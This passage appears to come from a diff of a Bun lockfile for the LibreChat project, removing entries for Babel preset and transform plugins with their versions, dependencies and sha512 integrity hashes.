- "@librechat/client/@babel/preset-react/@babel/plugin-transform-react-jsx-development": ["@babel/plugin-transform-react-jsx-development@7.27.1", "", { "dependencies": { "@babel/plugin-transform-react-jsx": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-ykDdF5yI4f1WrAolLqeF3hmYU12j9ntLQl/AOG1HAS21jxyg1Q0/J/tpREuYLfatGdGmXp/3yS0ZA76kOlVq9Q=="],
-
- "@librechat/client/@babel/preset-react/@babel/plugin-transform-react-pure-annotations": ["@babel/plugin-transform-react-pure-annotations@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-JfuinvDOsD9FVMTHpzA/pBLisxpv1aSf+OIV8lgH3MuWrks19R27e6a6DipIg4aX1Zm9Wpb04p8wljfKrVSnPA=="],
-
- "@librechat/client/@babel/preset-typescript/@babel/plugin-transform-modules-commonjs": ["@babel/plugin-transform-modules-commonjs@7.27.1", "", { "dependencies": { "@babel/helper-module-transforms": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-OJguuwlTYlN0gBZFRPqwOGNWssZjfIUdS7HMYtN8c1KmwpwHFBwTeFZrg9XZa+DFTitWOW5iTAG7tyCUPsCCyw=="],
-
- "@librechat/client/@babel/preset-typescript/@babel/plugin-transform-typescript": ["@babel/plugin-transform-typescript@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-create-class-features-plugin": "^7.28.5", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/plugin-syntax-typescript": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-x2Qa+v/CuEoX7Dr31iAfr0IhInrVOWZU/2vJMJ00FOR/2nM0BcBEclpaf9sWCDc+v5e9dMrhSH8/atq/kX7+bA=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-bugfix-firefox-class-in-computed-class-key": ["@babel/plugin-bugfix-firefox-class-in-computed-class-key@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/traverse": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-87GDMS3tsmMSi/3bWOte1UblL+YUTFMV8SZPZ2eSEL17s74Cw/l63rR6NmGVKMYW2GYi85nE+/d6Hw5N0bEk2Q=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-bugfix-safari-class-field-initializer-scope": ["@babel/plugin-bugfix-safari-class-field-initializer-scope@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-qNeq3bCKnGgLkEXUuFry6dPlGfCdQNZbn7yUAPCInwAJHMU7THJfrBSozkcWq5sNM6RcF3S8XyQL2A52KNR9IA=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": ["@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-g4L7OYun04N1WyqMNjldFwlfPCLVkgB54A/YCXICZYBsvJJE3kByKv9c9+R/nAfmIfjl2rKYLNyMHboYbZaWaA=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": ["@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/plugin-transform-optional-chaining": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.13.0" } }, "sha512-oO02gcONcD5O1iTLi/6frMJBIwWEHceWGSGqrpCmEL8nogiS6J9PBlE48CaK20/Jx1LuRml9aDftLgdjXT8+Cw=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": ["@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly@7.28.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/traverse": "^7.28.3" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-b6YTX108evsvE4YgWyQ921ZAFFQm3Bn+CA3+ZXlNVnPhx+UfsVURoPjfGAPCjBgrqo30yX/C2nZGX96DxvR9Iw=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-syntax-import-assertions": ["@babel/plugin-syntax-import-assertions@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-UT/Jrhw57xg4ILHLFnzFpPDlMbcdEicaAtjPQpbj9wa8T4r5KVWCimHcL/460g8Ht0DMxDyjsLgiWSkVjnwPFg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-arrow-functions": ["@babel/plugin-transform-arrow-functions@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-8Z4TGic6xW70FKThA5HYEKKyBpOOsucTOD1DjU3fZxDg+K3zBJcXMFnt/4yQiZnf5+MiOMSXQ9PaEK/Ilh1DeA=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-async-generator-functions": ["@babel/plugin-transform-async-generator-functions@7.28.0", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-remap-async-to-generator": "^7.27.1", "@babel/traverse": "^7.28.0" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-BEOdvX4+M765icNPZeidyADIvQ1m1gmunXufXxvRESy/jNNyfovIqUyE7MVgGBjWktCoJlzvFA1To2O4ymIO3Q=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-async-to-generator": ["@babel/plugin-transform-async-to-generator@7.27.1", "", { "dependencies": { "@babel/helper-module-imports": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-remap-async-to-generator": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-NREkZsZVJS4xmTr8qzE5y8AfIPqsdQfRuUiLRTEzb7Qii8iFWCyDKaUV2c0rCuh4ljDZ98ALHP/PetiBV2nddA=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-block-scoped-functions": ["@babel/plugin-transform-block-scoped-functions@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-cnqkuOtZLapWYZUYM5rVIdv1nXYuFVIltZ6ZJ7nIj585QsjKM5dhL2Fu/lICXZ1OyIAFc7Qy+bvDAtTXqGrlhg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-block-scoping": ["@babel/plugin-transform-block-scoping@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-45DmULpySVvmq9Pj3X9B+62Xe+DJGov27QravQJU1LLcapR6/10i+gYVAucGGJpHBp5mYxIMK4nDAT/QDLr47g=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-class-properties": ["@babel/plugin-transform-class-properties@7.27.1", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-D0VcalChDMtuRvJIu3U/fwWjf8ZMykz5iZsg77Nuj821vCKI3zCyRLwRdWbsuJ/uRwZhZ002QtCqIkwC/ZkvbA=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-class-static-block": ["@babel/plugin-transform-class-static-block@7.28.3", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.28.3", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.12.0" } }, "sha512-LtPXlBbRoc4Njl/oh1CeD/3jC+atytbnf/UqLoqTDcEYGUPj022+rvfkbDYieUrSj3CaV4yHDByPE+T2HwfsJg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-classes": ["@babel/plugin-transform-classes@7.28.4", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-globals": "^7.28.0", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/traverse": "^7.28.4" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-cFOlhIYPBv/iBoc+KS3M6et2XPtbT2HiCRfBXWtfpc9OAyostldxIf9YAYB6ypURBBbx+Qv6nyrLzASfJe+hBA=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-computed-properties": ["@babel/plugin-transform-computed-properties@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/template": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-lj9PGWvMTVksbWiDT2tW68zGS/cyo4AkZ/QTp0sQT0mjPopCmrSkzxeXkznjqBxzDI6TclZhOJbBmbBLjuOZUw=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-destructuring": ["@babel/plugin-transform-destructuring@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/traverse": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Kl9Bc6D0zTUcFUvkNuQh4eGXPKKNDOJQXVyyM4ZAQPMveniJdxi8XMJwLo+xSoW3MIq81bD33lcUe9kZpl0MCw=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-dotall-regex": ["@babel/plugin-transform-dotall-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-gEbkDVGRvjj7+T1ivxrfgygpT7GUd4vmODtYpbs0gZATdkX8/iSnOtZSxiZnsgm1YjTgjI6VKBGSJJevkrclzw=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-duplicate-keys": ["@babel/plugin-transform-duplicate-keys@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-MTyJk98sHvSs+cvZ4nOauwTTG1JeonDjSGvGGUNHreGQns+Mpt6WX/dVzWBHgg+dYZhkC4X+zTDfkTU+Vy9y7Q=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex": ["@babel/plugin-transform-duplicate-named-capturing-groups-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-hkGcueTEzuhB30B3eJCbCYeCaaEQOmQR0AdvzpD4LoN0GXMWzzGSuRrxR2xTnCrvNbVwK9N6/jQ92GSLfiZWoQ=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-dynamic-import": ["@babel/plugin-transform-dynamic-import@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-MHzkWQcEmjzzVW9j2q8LGjwGWpG2mjwaaB0BNQwst3FIjqsg8Ct/mIZlvSPJvfi9y2AC8mi/ktxbFVL9pZ1I4A=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-exponentiation-operator": ["@babel/plugin-transform-exponentiation-operator@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-D4WIMaFtwa2NizOp+dnoFjRez/ClKiC2BqqImwKd1X28nqBtZEyCYJ2ozQrrzlxAFrcrjxo39S6khe9RNDlGzw=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-export-namespace-from": ["@babel/plugin-transform-export-namespace-from@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-tQvHWSZ3/jH2xuq/vZDy0jNn+ZdXJeM8gHvX4lnJmsc3+50yPlWdZXIc5ay+umX+2/tJIqHqiEqcJvxlmIvRvQ=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-for-of": ["@babel/plugin-transform-for-of@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-BfbWFFEJFQzLCQ5N8VocnCtA8J1CLkNTe2Ms2wocj75dd6VpiqS5Z5quTYcUoo4Yq+DN0rtikODccuv7RU81sw=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-function-name": ["@babel/plugin-transform-function-name@7.27.1", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-1bQeydJF9Nr1eBCMMbC+hdwmRlsv5XYOMu03YSWFwNs0HsAmtSxxF1fyuYPqemVldVyFmlCU7w8UE14LupUSZQ=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-json-strings": ["@babel/plugin-transform-json-strings@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-6WVLVJiTjqcQauBhn1LkICsR2H+zm62I3h9faTDKt1qP4jn2o72tSvqMwtGFKGTpojce0gJs+76eZ2uCHRZh0Q=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-literals": ["@babel/plugin-transform-literals@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-0HCFSepIpLTkLcsi86GG3mTUzxV5jpmbv97hTETW3yzrAij8aqlD36toB1D0daVFJM8NK6GvKO0gslVQmm+zZA=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-logical-assignment-operators": ["@babel/plugin-transform-logical-assignment-operators@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-axUuqnUTBuXyHGcJEVVh9pORaN6wC5bYfE7FGzPiaWa3syib9m7g+/IT/4VgCOe2Upef43PHzeAvcrVek6QuuA=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-member-expression-literals": ["@babel/plugin-transform-member-expression-literals@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-hqoBX4dcZ1I33jCSWcXrP+1Ku7kdqXf1oeah7ooKOIiAdKQ+uqftgCFNOSzA5AMS2XIHEYeGFg4cKRCdpxzVOQ=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-modules-amd": ["@babel/plugin-transform-modules-amd@7.27.1", "", { "dependencies": { "@babel/helper-module-transforms": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-iCsytMg/N9/oFq6n+gFTvUYDZQOMK5kEdeYxmxt91fcJGycfxVP9CnrxoliM0oumFERba2i8ZtwRUCMhvP1LnA=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-modules-commonjs": ["@babel/plugin-transform-modules-commonjs@7.27.1", "", { "dependencies": { "@babel/helper-module-transforms": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-OJguuwlTYlN0gBZFRPqwOGNWssZjfIUdS7HMYtN8c1KmwpwHFBwTeFZrg9XZa+DFTitWOW5iTAG7tyCUPsCCyw=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-modules-systemjs": ["@babel/plugin-transform-modules-systemjs@7.28.5", "", { "dependencies": { "@babel/helper-module-transforms": "^7.28.3", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5", "@babel/traverse": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-vn5Jma98LCOeBy/KpeQhXcV2WZgaRUtjwQmjoBuLNlOmkg0fB5pdvYVeWRYI69wWKwK2cD1QbMiUQnoujWvrew=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-modules-umd": ["@babel/plugin-transform-modules-umd@7.27.1", "", { "dependencies": { "@babel/helper-module-transforms": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-iQBE/xC5BV1OxJbp6WG7jq9IWiD+xxlZhLrdwpPkTX3ydmXdvoCpyfJN7acaIBZaOqTfr76pgzqBJflNbeRK+w=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex": ["@babel/plugin-transform-named-capturing-groups-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-SstR5JYy8ddZvD6MhV0tM/j16Qds4mIpJTOd1Yu9J9pJjH93bxHECF7pgtc28XvkzTD6Pxcm/0Z73Hvk7kb3Ng=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-new-target": ["@babel/plugin-transform-new-target@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-f6PiYeqXQ05lYq3TIfIDu/MtliKUbNwkGApPUvyo6+tc7uaR4cPjPe7DFPr15Uyycg2lZU6btZ575CuQoYh7MQ=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-nullish-coalescing-operator": ["@babel/plugin-transform-nullish-coalescing-operator@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-aGZh6xMo6q9vq1JGcw58lZ1Z0+i0xB2x0XaauNIUXd6O1xXc3RwoWEBlsTQrY4KQ9Jf0s5rgD6SiNkaUdJegTA=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-numeric-separator": ["@babel/plugin-transform-numeric-separator@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-fdPKAcujuvEChxDBJ5c+0BTaS6revLV7CJL08e4m3de8qJfNIuCc2nc7XJYOjBoTMJeqSmwXJ0ypE14RCjLwaw=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-object-rest-spread": ["@babel/plugin-transform-object-rest-spread@7.28.4", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "@babel/plugin-transform-destructuring": "^7.28.0", "@babel/plugin-transform-parameters": "^7.27.7", "@babel/traverse": "^7.28.4" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-373KA2HQzKhQCYiRVIRr+3MjpCObqzDlyrM6u4I201wL8Mp2wHf7uB8GhDwis03k2ti8Zr65Zyyqs1xOxUF/Ew=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-object-super": ["@babel/plugin-transform-object-super@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-SFy8S9plRPbIcxlJ8A6mT/CxFdJx/c04JEctz4jf8YZaVS2px34j7NXRrlGlHkN/M2gnpL37ZpGRGVFLd3l8Ng=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-optional-catch-binding": ["@babel/plugin-transform-optional-catch-binding@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-txEAEKzYrHEX4xSZN4kJ+OfKXFVSWKB2ZxM9dpcE3wT7smwkNmXo5ORRlVzMVdJbD+Q8ILTgSD7959uj+3Dm3Q=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-optional-chaining": ["@babel/plugin-transform-optional-chaining@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-N6fut9IZlPnjPwgiQkXNhb+cT8wQKFlJNqcZkWlcTqkcqx6/kU4ynGmLFoa4LViBSirn05YAwk+sQBbPfxtYzQ=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-parameters": ["@babel/plugin-transform-parameters@7.27.7", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-qBkYTYCb76RRxUM6CcZA5KRu8K4SM8ajzVeUgVdMVO9NN9uI/GaVmBg/WKJJGnNokV9SY8FxNOVWGXzqzUidBg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-private-methods": ["@babel/plugin-transform-private-methods@7.27.1", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-10FVt+X55AjRAYI9BrdISN9/AQWHqldOeZDUoLyif1Kn05a56xVBXb8ZouL8pZ9jem8QpXaOt8TS7RHUIS+GPA=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-private-property-in-object": ["@babel/plugin-transform-private-property-in-object@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-create-class-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-5J+IhqTi1XPa0DXF83jYOaARrX+41gOewWbkPyjMNRDqgOCqdffGh8L3f/Ek5utaEBZExjSAzcyjmV9SSAWObQ=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-property-literals": ["@babel/plugin-transform-property-literals@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-oThy3BCuCha8kDZ8ZkgOg2exvPYUlprMukKQXI1r1pJ47NCvxfkEy8vK+r/hT9nF0Aa4H1WUPZZjHTFtAhGfmQ=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-regenerator": ["@babel/plugin-transform-regenerator@7.28.4", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-+ZEdQlBoRg9m2NnzvEeLgtvBMO4tkFBw5SQIUgLICgTrumLoU7lr+Oghi6km2PFj+dbUt2u1oby2w3BDO9YQnA=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-regexp-modifiers": ["@babel/plugin-transform-regexp-modifiers@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-TtEciroaiODtXvLZv4rmfMhkCv8jx3wgKpL68PuiPh2M4fvz5jhsA7697N1gMvkvr/JTF13DrFYyEbY9U7cVPA=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-reserved-words": ["@babel/plugin-transform-reserved-words@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-V2ABPHIJX4kC7HegLkYoDpfg9PVmuWy/i6vUM5eGK22bx4YVFD3M5F0QQnWQoDs6AGsUWTVOopBiMFQgHaSkVw=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-shorthand-properties": ["@babel/plugin-transform-shorthand-properties@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-N/wH1vcn4oYawbJ13Y/FxcQrWk63jhfNa7jef0ih7PHSIHX2LB7GWE1rkPrOnka9kwMxb6hMl19p7lidA+EHmQ=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-spread": ["@babel/plugin-transform-spread@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-kpb3HUqaILBJcRFVhFUs6Trdd4mkrzcGXss+6/mxUd273PfbWqSDHRzMT2234gIg2QYfAjvXLSquP1xECSg09Q=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-sticky-regex": ["@babel/plugin-transform-sticky-regex@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-lhInBO5bi/Kowe2/aLdBAawijx+q1pQzicSgnkB6dUPc1+RC8QmJHKf2OjvU+NZWitguJHEaEmbV6VWEouT58g=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-template-literals": ["@babel/plugin-transform-template-literals@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-fBJKiV7F2DxZUkg5EtHKXQdbsbURW3DZKQUWphDum0uRP6eHGGa/He9mc0mypL680pb+e/lDIthRohlv8NCHkg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-typeof-symbol": ["@babel/plugin-transform-typeof-symbol@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-RiSILC+nRJM7FY5srIyc4/fGIwUhyDuuBSdWn4y6yT6gm652DpCHZjIipgn6B7MQ1ITOUnAKWixEUjQRIBIcLw=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-escapes": ["@babel/plugin-transform-unicode-escapes@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Ysg4v6AmF26k9vpfFuTZg8HRfVWzsh1kVfowA23y9j/Gu6dOuahdUVhkLqpObp3JIv27MLSii6noRnuKN8H0Mg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-property-regex": ["@babel/plugin-transform-unicode-property-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-uW20S39PnaTImxp39O5qFlHLS9LJEmANjMG7SxIhap8rCHqu0Ik+tLEPX5DKmHn6CsWQ7j3lix2tFOa5YtL12Q=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-regex": ["@babel/plugin-transform-unicode-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-xvINq24TRojDuyt6JGtHmkVkrfVV3FPT16uytxImLeBZqW3/H52yN+kM1MGuyPkIQxrzKwPHs5U/MP3qKyzkGw=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex": ["@babel/plugin-transform-unicode-sets-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-EtkOujbc4cgvb0mlpQefi4NTPBzhSIevblFevACNLUspmrALgmEBdL/XfnyyITfd8fKBZrZys92zOWcik7j9Tw=="],
-
- "@librechat/frontend/@babel/preset-env/babel-plugin-polyfill-corejs2": ["babel-plugin-polyfill-corejs2@0.4.14", "", { "dependencies": { "@babel/compat-data": "^7.27.7", "@babel/helper-define-polyfill-provider": "^0.6.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-Co2Y9wX854ts6U8gAAPXfn0GmAyctHuK8n0Yhfjd6t30g7yvKjspvvOo9yG+z52PZRgFErt7Ka2pYnXCjLKEpg=="],
-
